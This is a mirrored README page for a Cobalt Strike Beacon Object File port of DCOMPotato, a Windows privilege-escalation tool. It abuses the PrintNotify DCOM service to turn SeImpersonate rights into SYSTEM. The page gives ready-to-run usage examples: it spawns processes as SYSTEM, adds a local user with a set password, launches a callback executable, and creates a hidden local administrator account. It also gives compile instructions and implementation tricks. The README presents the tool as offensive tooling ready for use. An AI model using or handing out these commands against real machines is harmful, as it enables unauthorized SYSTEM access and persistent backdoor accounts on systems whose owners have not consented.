Code Monkey home page Code Monkey logo

bof-dcompotato-printnotify's Introduction

BOF - DCOMPotato - PrintNotify

BOF version of DCOMPotato. Obtain SYSTEM privilege with SeImpersonate privilege by passing a malicious IUnknwon object to DCOM call of PrintNotify.

By default, ImpersonationLevel of PrintNotify service, which was run as SYSTEM, set as RPC_C_IMP_LEVEL_IMPERSONATE

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\print

Usage

--pprog : program to launch. Default cmd.exe
--pargs : command line argument to pass to program. Default NULL
--pmode : create process call. 1 for CreateProcessWithTokenW. 2 for CreateProcessAsUser. 3 for NetUserAdd. Default 1

execute command with CreateProcessWithTokenW

DCOMPotato --pargs /c whoami /all > C:\temp\whoami.txt

execute command with CreateProcessAsUser

DCOMPotato --pargs /c net user hagrid P@ssw0rd /add --pmode 2

execute program with CreateProcessWithTokenW

DCOMPotato --pprog C:\temp\callback.exe

create local administrator account (hagrid\P@ss@29hagr!d) with NetUserAdd

DCOMPotato --pmode 3

Compile

cl /c /GS- /FoDCOMPotato.x64.o /TP DCOMPotato.cpp

Take Away

  • You cannot create new object with C++ in Cobalt Strike when loading BOF. You can use struct to implement COM in C instead. Here is a guide
  • == sign could be overloaded. It was overloaded as IsEqualGUID in my case
  • Using flag LOGON_TYPE_NEW_CREDENTIALS can create a token that can be used for impersonate from LogonUser without providing valid credential
  • According to the document, a process that calls CreateProcessAsUser require SE_INCREASE_QUOTA_NAME and SE_ASSIGNPRIMARYTOKEN_NAME privilege.

References

bof-dcompotato-printnotify's People

Contributors

hagrid29 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.